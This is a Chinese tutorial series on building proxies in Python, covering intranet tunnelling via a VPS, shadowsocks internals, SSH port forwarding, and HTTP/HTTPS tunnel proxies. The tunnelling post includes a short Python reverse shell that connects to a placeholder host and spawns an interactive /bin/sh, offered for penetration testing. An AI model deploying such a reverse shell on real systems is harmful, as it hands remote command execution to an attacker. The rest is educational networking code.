由浅入深写代理(10)-内网穿透

本篇主要介绍代理的一个常用的功能:内网穿透
很多人经常会有这么一个需求,需要将本地开发的 web 项目给外网的人看下,再搭一遍到 vps 太麻烦,于是就有借助拥有公网 ip 的主机来中转。

有专门的软件做这件事,如 ngrok, frp。

介绍下原理
由于内网的机器有 NAT 或 防火墙什么的,外网 vps 是无法会直接连接的,所以想要通过 vps 来中转就需要内网先连接 vps,然后 vps 通过连接的套接字来转发数据。

贴下代码

client_proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import socket
import select
def send_data(sock, data):
print(data)
bytes_sent = 0
while True:
r = sock.send(data[bytes_sent:])
if r < 0:
return r
bytes_sent += r
if bytes_sent == len(data):
return bytes_sent
def handle_tcp(sock, remote):
# 处理 client socket 和 remote socket 的数据流
try:
fdset = [sock, remote]
while True:
# 用 IO 多路复用 select 监听套接字是否有数据流
r, w, e = select.select(fdset, [], [])
if sock in r:
data = sock.recv(4096)
if len(data) <= 0:
break
result = send_data(remote, data)
if result < len(data):
raise Exception('failed to send all data')
if remote in r:
data = remote.recv(4096)
if len(data) <= 0:
break
result = send_data(sock, data)
if result < len(data):
raise Exception('failed to send all data')
except Exception as e:
raise(e)
finally:
sock.close()
remote.close()
while True:
s_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s_conn.connect(("xx.xx.xx.xx", 2333))
client_conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client_conn.connect(('127.0.0.1', 8000))
handle_tcp(s_conn, client_conn)

server_proxy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import threading
import socket
import select
# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 将套接字绑定到地址
s1.bind(('', 2333))
# 监听TCP传入连接
s1.listen(5)
# AF_INET: 基于 IPV4 的网络通信 SOCK_STREAM: 基于 TCP 的流式 socket 通信
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# 将套接字绑定到地址
s2.bind(('', 8000))
# 监听TCP传入连接
s2.listen(5)
def send_data(sock, data):
print(data)
bytes_sent = 0
while True:
r = sock.send(data[bytes_sent:])
if r < 0:
return r
bytes_sent += r
if bytes_sent == len(data):
return bytes_sent
def handle_tcp(sock, remote):
# 处理 client socket 和 remote socket 的数据流
try:
fdset = [sock, remote]
while True:
# 用 IO 多路复用 select 监听套接字是否有数据流
r, w, e = select.select(fdset, [], [])
if sock in r:
data = sock.recv(4096)
if len(data) <= 0:
break
result = send_data(remote, data)
if result < len(data):
raise Exception('failed to send all data')
if remote in r:
data = remote.recv(4096)
if len(data) <= 0:
break
result = send_data(sock, data)
if result < len(data):
raise Exception('failed to send all data')
except Exception as e:
raise(e)
finally:
sock.close()
remote.close()
while True:
con1, addr1 = s1.accept()
print("new connection from %s:%s" % addr1)
con2, addr2 = s2.accept()
print("new connection from %s:%s" % addr2)
t = threading.Thread(target=handle_tcp, args=(con1, con2))
t.start()
  1. 假设我们需要共享的 web 是 python 的 simple http_server, 首先执行 python -m SimpleHTTPServer, 这样本地会绑定 8000 端口
  2. 在自己的 vps 上运行 python3 reverse_server.py
  3. 在本地运行 python3 reverse_client_proxy.py
  4. 接下来我们直接在外网访问 vps 的地址: http://xx.xx.xx.xx:8000 就可以发现能够转发内网的数据了。

github 地址: reverse_client_proxy.py

reverse_server_proxy

一般内网穿透在网络安全人员做内网渗透测试的时候比较有用,反弹一个 shell。就可以任意执行命令。

这里分享一个最基本的 python 反弹 shell 脚本

1
2
3
4
5
6
7
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("x.x.x.x",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

由浅入深写代理(8)-ss-代理.md

ss 作用是科学上网,因为怕关键词会让文章被干掉,所以用了别名。本文纯粹是分析技术的角度出发。因为 ss 现在的版本已经很复杂了,eventloop, 状态机,支持 udp 。为了简单讲原理,我们用 0.9 的版本来说明。

首先上图

client 和 ss_local 主要通过 socks5 协议通信,而 ss_local 和 ss_server 之间就是对称加密的 tcp 数据。

ss_local 主要代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
class Socks5Server(SocketServer.StreamRequestHandler):
''' RequesHandlerClass Definition '''
def handle_tcp(self, sock, remote):
try:
fdset = [sock, remote]
while True:
r, w, e = select.select(fdset, [], []) # use select I/O multiplexing model
if sock in r: # if local socket is ready for reading
data = sock.recv(4096)
if len(data) <= 0: # received all data
break
result = send_all(remote, self.encrypt(data)) # send data after encrypting
if result < len(data):
raise Exception('failed to send all data')
if remote in r: # remote socket(proxy) ready for reading
data = remote.recv(4096)
if len(data) <= 0:
break
result = send_all(sock, self.decrypt(data)) # send to local socket(application)
if result < len(data):
raise Exception('failed to send all data')
finally:
sock.close()
remote.close()
def encrypt(self, data):
return data.translate(encrypt_table)
def decrypt(self, data):
return data.translate(decrypt_table)
def send_encrypt(self, sock, data):
sock.send(self.encrypt(data))
def handle(self):
try:
sock = self.connection # local socket [127.1:port]
sock.recv(262) # Sock5 Verification packet
sock.send("\x05\x00") # Sock5 Response: '0x05' Version 5; '0x00' NO AUTHENTICATION REQUIRED
# After Authentication negotiation
data = self.rfile.read(4) # Forward request format: VER CMD RSV ATYP (4 bytes)
mode = ord(data[1]) # CMD == 0x01 (connect)
if mode != 1:
logging.warn('mode != 1')
return
addrtype = ord(data[3]) # indicate destination address type
addr_to_send = data[3]
if addrtype == 1: # IPv4
addr_ip = self.rfile.read(4) # 4 bytes IPv4 address (big endian)
addr = socket.inet_ntoa(addr_ip)
addr_to_send += addr_ip
elif addrtype == 3: # FQDN (Fully Qualified Domain Name)
addr_len = self.rfile.read(1) # Domain name's Length
addr = self.rfile.read(ord(addr_len)) # Followed by domain name(e.g. www.google.com)
addr_to_send += addr_len + addr
else:
logging.warn('addr_type not support')
# not support
return
addr_port = self.rfile.read(2)
addr_to_send += addr_port # addr_to_send = ATYP + [Length] + dst addr/domain name + port
port = struct.unpack('>H', addr_port) # prase the big endian port number. Note: The result is a tuple even if it contains exactly one item.
try:
reply = "\x05\x00\x00\x01" # VER REP RSV ATYP
reply += socket.inet_aton('0.0.0.0') + struct.pack(">H", 2222) # listening on 2222 on all addresses of the machine, including the loopback(127.0.0.1)
self.wfile.write(reply) # response packet
# reply immediately
if '-6' in sys.argv[1:]: # IPv6 support
remote = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) # turn off Nagling
remote.connect((SERVER, REMOTE_PORT))
self.send_encrypt(remote, addr_to_send) # encrypted
logging.info('connecting %s:%d' % (addr, port[0]))
except socket.error, e:
logging.warn(e)
return
self.handle_tcp(sock, remote)
except socket.error, e:
logging.warn(e)

其中和 socks5 交互的部分 handle 在前面 socks5 教程已经讲过,唯一的区别是 send_encrypt 函数,每次 send 的时候都会 encrypt 一次,拿到数据后再 decrypt 一次。

ss_server 的代码也和 local 差不多,少了和 socks5 打交道

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def handle(self):
try:
sock = self.connection
addrtype = ord(self.decrypt(sock.recv(1))) # receive addr type
if addrtype == 1:
addr = socket.inet_ntoa(self.decrypt(self.rfile.read(4))) # get dst addr
elif addrtype == 3:
addr = self.decrypt(
self.rfile.read(ord(self.decrypt(sock.recv(1))))) # read 1 byte of len, then get 'len' bytes name
else:
# not support
logging.warn('addr_type not support')
return
port = struct.unpack('>H', self.decrypt(self.rfile.read(2))) # get dst port into small endian
try:
logging.info('connecting %s:%d' % (addr, port[0]))
remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
remote.connect((addr, port[0])) # connect to dst
except socket.error, e:
# Connection refused
logging.warn(e)
return
self.handle_tcp(sock, remote)
except socket.error, e:
logging.warn(e)

所以本质上 ss 很简单,就是做了流量的转发,只不过为了避免流量被检测,加密并且还有混淆的功能。

由浅入深写代理(9)-ssh-代理.md

其实 ssh 不算是代理,只是一种能实现代理的工具,不过因为 ssh 功能强大,所以单独拿出来说一下。

0x01 本地端口转发

举个例子,远程有个 mongo 服务器需要连接,但是 mongo 不允许远程连接,只能通过和它同一个局域网的跳板机 A (x.x.x.x)连接。这个时候可以通过端口转发的方法直接连接。
命令格式是:

-L :: ```
1
2
3
例如本地开启了 8000 端口监听, mongo 服务器地址为 192.168.0.2 端口 27017, 跳板机地址 192.168.0.1:
``` ssh -N -L 8000:192.168.0.2:27017 192.168.0.1

开启完端口转发后,连接 mongo 可以直接通过命令 mongo –host localhost –port 8000

0x02 远程端口转发

远程端口转发和本地端口转发功能一样,唯一的区别在于 ssh client 端和 server 端相反。举上面的例子,本地 client 无法通过 ssh 连接 A, 但是 A 能 ssh 连接本地。这种情况下可以通过远程端口转发
命令格式:

-R ::
1
2
3
```
上例可以在本地运行
``` ssh -R 8000:192.168.0.2:27017 192.168.0.1

0x03 动态转发

动态端口允许通过配置一个本地端口,把通过隧道的数据转发到远端的所有地址。本地的应用程序需要使用 Socks 协议与本地端口通讯。此时 SSH 充当 Socks 代理服务器的角色。

简单的说就是和 ss 功能一样,只是中间的加密有 openssl 来做。

命令如下

-D ```
1
2
3
上面的例子可以如下设置
``` ssh -f -N -D 10.1.1.1:8000 B@192.168.0.1

由浅入深写代理(7)-https-代理.md

本文主要实现隧道代理,让 https 请求也能代理。

隧道代理的原理是:
HTTP 客户端通过 CONNECT 方法请求隧道代理创建一条到达任意目的服务器和端口的 TCP 连接,并对客户端和服务器之间的后继数据进行盲转发。

步骤如下

  1. 客户端发送一个 http CONNECT 请求
    CONNECT baidu.com:443 HTTP/1.1

  2. 代理收到这样的请求后,拿到目标服务器域名及端口,与目标服务端建立 TCP 连接,并响应给浏览器这样一个 HTTP 报文:
    HTTP/1.1 200 Connection Established

  3. 建立完隧道以后,客户端与目标服务器照之前的方式发送请求,代理节点只是做转发功能,无从知道转发的流量具体是什么

看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import socket
import select
from http.server import BaseHTTPRequestHandler, HTTPServer
class ProxyHandler(BaseHTTPRequestHandler):
def send_data(self, sock, data):
print(data)
bytes_sent = 0
while True:
r = sock.send(data[bytes_sent:])
if r < 0:
return r
bytes_sent += r
if bytes_sent == len(data):
return bytes_sent
def handle_tcp(self, sock, remote):
# 处理 client socket 和 remote socket 的数据流
try:
fdset = [sock, remote]
while True:
# 用 IO 多路复用 select 监听套接字是否有数据流
r, w, e = select.select(fdset, [], [])
if sock in r:
data = sock.recv(4096)
if len(data) <= 0:
break
result = self.send_data(remote, data)
if result < len(data):
raise Exception('failed to send all data')
if remote in r:
data = remote.recv(4096)
if len(data) <= 0:
break
result = self.send_data(sock, data)
if result < len(data):
raise Exception('failed to send all data')
except Exception as e:
raise(e)
finally:
sock.close()
remote.close()
def do_CONNECT(self):
# 解析出 host 和 port
uri = self.path.split(":")
host, port = uri[0], int(uri[1])
host_ip = socket.gethostbyname(host)
remote_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
remote_sock.connect((host_ip, port))
# 告诉客户端 CONNECT 成功
self.wfile.write("{protocol_version} 200 Connection Established\r\n\r\n".format(protocol_version=self.protocol_version).encode())
# 转发请求
self.handle_tcp(self.connection, remote_sock)
def main():
try:
server = HTTPServer(('', 8888), ProxyHandler)
server.serve_forever()
except KeyboardInterrupt:
server.socket.close()
if __name__ == '__main__':
main()

有一个 do_CONNECT 函数的处理,实现之前隧道的建立,然后 handle_tcp ,代码和之前 socks5 代理是一样的。

参考链接:

由浅入深写代理(6)-http-代理.md

本文讲 http 代理,顾名思义,http 代理代理的是 http 请求,其实这里面分两类

* 普通代理 这种代理扮演的是「中间人」角色,对于连接到它的客户端来说,它是服务端;对于要连接的服务端来说,它是客户端。它就负责在两端之间来回传送 HTTP 报文。
* 隧道代理。它通过 HTTP 协议正文部分(Body)完成通讯,以 HTTP 的方式实现任意基于 TCP 的应用层协议代理。这种代理使用 HTTP 的 CONNECT 方法建立连接。

通俗一点讲,普通代理解析 http 包,然后将请求转发到目标地址,但是没法解析 https 的包,所以也就没法代理 https 的请求,但是隧道代理可以代理 https 的请求或者其他的一些协议请求。

0x01 普通代理

代码很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import socket
from urllib.parse import urlparse
from http.server import BaseHTTPRequestHandler, HTTPServer
class ProxyHandler(BaseHTTPRequestHandler):
def _recv_data_from_remote(self, sock):
data = b''
while True:
recv_data = sock.recv(4096)
if not recv_data:
break
data += recv_data
sock.close()
return data
def do_GET(self):
# 解析 GET 请求信息
uri = urlparse(self.path)
scheme, host, path = uri.scheme, uri.hostname, uri.path
host_ip = socket.gethostbyname(host)
port = 443 if scheme == "https" else 80
# 为了简单起见,Connection 都为 close, 也就不需要 Proxy-Connection 判断了
del self.headers['Proxy-Connection']
self.headers['Connection'] = 'close'
# 构造新的 http 请求
send_data = "GET {path} {protocol_version}\r\n".format(path=path, protocol_version=self.protocol_version)
headers = ''
for key, value in self.headers.items():
headers += "{key}: {value}\r\n".format(key=key, value=value)
headers += '\r\n'
send_data += headers
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host_ip, port))
# 发送请求到目标地址
sock.sendall(send_data.encode())
data = self._recv_data_from_remote(sock)
self.wfile.write(data)
def main():
try:
server = HTTPServer(('', 8888), ProxyHandler)
server.serve_forever()
except KeyboardInterrupt:
server.socket.close()
if __name__ == '__main__':
main()

这里面就实现了 get 请求的转发,只用单线程的方式来处理,其他的有兴趣的同学可以自己扩展下。
看下效果

1
python3 http_server.py

配置完代理后可以发现 http 的请求都能正常转发,但是 https 的都没法识别。

下篇教程看如何通过隧道代理解决这个问题。

参考资料

* https://imququ.com/post/web-proxy.html
* http://www.lyyyuna.com/2016/01/16/http-proxy-get1/